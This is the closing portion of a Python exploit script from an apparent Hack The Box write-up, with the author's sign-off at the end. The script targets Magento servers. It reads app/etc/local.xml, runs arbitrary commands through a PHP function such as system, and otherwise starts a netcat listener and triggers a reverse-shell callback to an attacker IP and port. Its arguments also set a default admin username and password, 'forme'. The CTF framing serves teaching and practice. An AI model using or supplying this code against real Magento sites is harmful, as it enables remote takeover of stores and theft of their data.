297 )
298
299 print(f"[-] Parsing local.xml for install date.")
300
301 local_xml_url = f"{args.target}/app/etc/local.xml"
302 install_date = get_install_date(local_xml_url)
303
304 print(f"[+] Found install date: {install_date}")
305
306 parsed_src_url = urlparse(src_value)
307 exploit_url = f"{parsed_src_url.scheme}://{parsed_src_url.netloc}{parsed_src_url.path}"
308
309 if args.command:
310 exploit_params = get_exploit_params(args.php_function, install_date, args.command)
311
312 print(f"[-] Sending '{args.command}' for execution on the distant end.")
313
314 resp = session.get(urljoin(exploit_url, exploit_params))
315 if resp.status_code == 500:
316 print(f"[+] Exploit succeeded", end="\n\n")
317 print(resp.text)
318 else:
319 local_ip = args.callback.split(":")[0]
320 local_port = args.callback.split(":")[1]
321
322 start_netcat(local_port)
323
324 cmd = get_callback_command(local_ip, local_port)
325
326 exploit_params = get_exploit_params(args.php_function, install_date, cmd)
327
328 print(f"[+] Initiating callback to {args.callback}.")
329
330 try:
331 session.get(urljoin(exploit_url, exploit_params), timeout=10)
332 except (KeyboardInterrupt, requests.exceptions.ReadTimeout):
333 pass
334
335
336if __name__ == "__main__":
337 parser = argparse.ArgumentParser()
338
339 parser.add_argument("target", help="target url of magento server", type=validate_http)
340
341 cmd_or_cb_group = parser.add_mutually_exclusive_group(required=True)
342 cmd_or_cb_group.add_argument("--command", help="Command to be run on the remote system")
343 cmd_or_cb_group.add_argument(
344 "--callback",
345 help="IP address and port to callback to (format: IP:PORT)",
346 type=validate_callback,
347 )
348
349 parser.add_argument(
350 "--username", help="username of new admin user (default: forme)", default="forme"
351 )
352 parser.add_argument(
353 "--password", help="password of new admin user (default: forme)", default="forme"
354 )
355 parser.add_argument(
356 "--php-function",
357 help="php function to use for command execution (default: system)",
358 default="system",
359 )
360 parser.add_argument(
361 "--history-length",
362 help="number of days back to search for orders (default: 7d)",
363 default="7d",
364 choices=HISTORY_LENGTHS,
365 )
366
367 arguments = parser.parse_args()
368
369 main(arguments)
I hope you enjoyed this write-up or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.